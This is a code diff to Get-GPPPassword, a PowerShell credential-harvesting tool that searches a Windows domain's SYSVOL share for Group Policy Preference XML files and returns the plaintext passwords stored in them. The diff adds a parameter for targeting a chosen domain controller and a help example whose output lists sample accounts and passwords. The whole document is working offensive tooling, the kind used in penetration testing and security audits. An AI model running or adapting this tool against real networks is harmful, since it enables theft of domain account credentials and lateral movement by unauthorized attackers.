@@ -12,7 +12,12 @@ function Get-GPPPassword {
12
12
13
13
. DESCRIPTION
14
14
15
- Get-GPPPassword searches the domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords.
15
+ Get-GPPPassword searches a domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords.
16
+
17
+ . PARAMETER Server
18
+
19
+ Specify the domain controller to search for.
20
+ Default's to the users current domain
16
21
17
22
. EXAMPLE
18
23
@@ -42,6 +47,21 @@ function Get-GPPPassword {
42
47
UserNames : {DEMO\Administrator, admin}
43
48
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Services\Services.xml
44
49
50
+ . EXAMPLE
51
+ PS C:\> Get-GPPPassword -Server EXAMPLE.COM
52
+
53
+ NewName : [BLANK]
54
+ Changed : {2014-02-21 05:28:53}
55
+ Passwords : {password12}
56
+ UserNames : {test1}
57
+ File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB982DA}\MACHINE\Preferences\DataSources\DataSources.xml
58
+
59
+ NewName : {mspresenters}
60
+ Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
61
+ Passwords : {Recycling*3ftw!, password123, password1234}
62
+ UserNames : {Administrator (built-in), DummyAccount, dummy2}
63
+ File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB9AB12}\MACHINE\Preferences\Groups\Groups.xml
64
+
45
65
. EXAMPLE
46
66
47
67
PS C:\> Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq
@@ -63,7 +83,10 @@ function Get-GPPPassword {
63
83
#>
64
84
65
85
[CmdletBinding ()]
66
- Param ()
86
+ Param (
87
+ [String ]
88
+ $Server
89
+ )
67
90
68
91
# Some XML issues between versions
69
92
Set-StrictMode - Version 2
@@ -109,7 +132,7 @@ function Get-GPPPassword {
109
132
function Get-GPPInnerFields {
110
133
[CmdletBinding ()]
111
134
Param (
112
- $File
135
+ $File
113
136
)
114
137
115
138
try {
@@ -205,9 +228,18 @@ function Get-GPPPassword {
205
228
throw ' Machine is not a domain member or User is not a member of the domain.'
206
229
}
207
230
231
+ # Allow users to specify domain controller
232
+ if ($Server ) {
233
+ $DomainController = $Server
234
+ }
235
+
236
+ else {
237
+ $DomainController = $Env: USERDNSDOMAIN
238
+ }
239
+
208
240
# discover potential files containing passwords ; not complaining in case of denied access to a directory
209
- Write-Verbose ' Searching the DC . This could take a while.'
210
- $XMlFiles = Get-ChildItem - Path " \\$Env: USERDNSDOMAIN \SYSVOL" - Recurse - ErrorAction SilentlyContinue - Include ' Groups.xml' , ' Services.xml' , ' Scheduledtasks.xml' , ' DataSources.xml' , ' Printers.xml' , ' Drives.xml'
241
+ Write-Verbose " Searching \\ $DomainController \SYSVOL . This could take a while."
242
+ $XMlFiles = Get-ChildItem - Path " \\$DomainController \SYSVOL" - Recurse - ErrorAction SilentlyContinue - Include ' Groups.xml' , ' Services.xml' , ' Scheduledtasks.xml' , ' DataSources.xml' , ' Printers.xml' , ' Drives.xml'
211
243
212
244
if ( -not $XMlFiles ) {throw ' No preference files found.' }
213
245
0 commit comments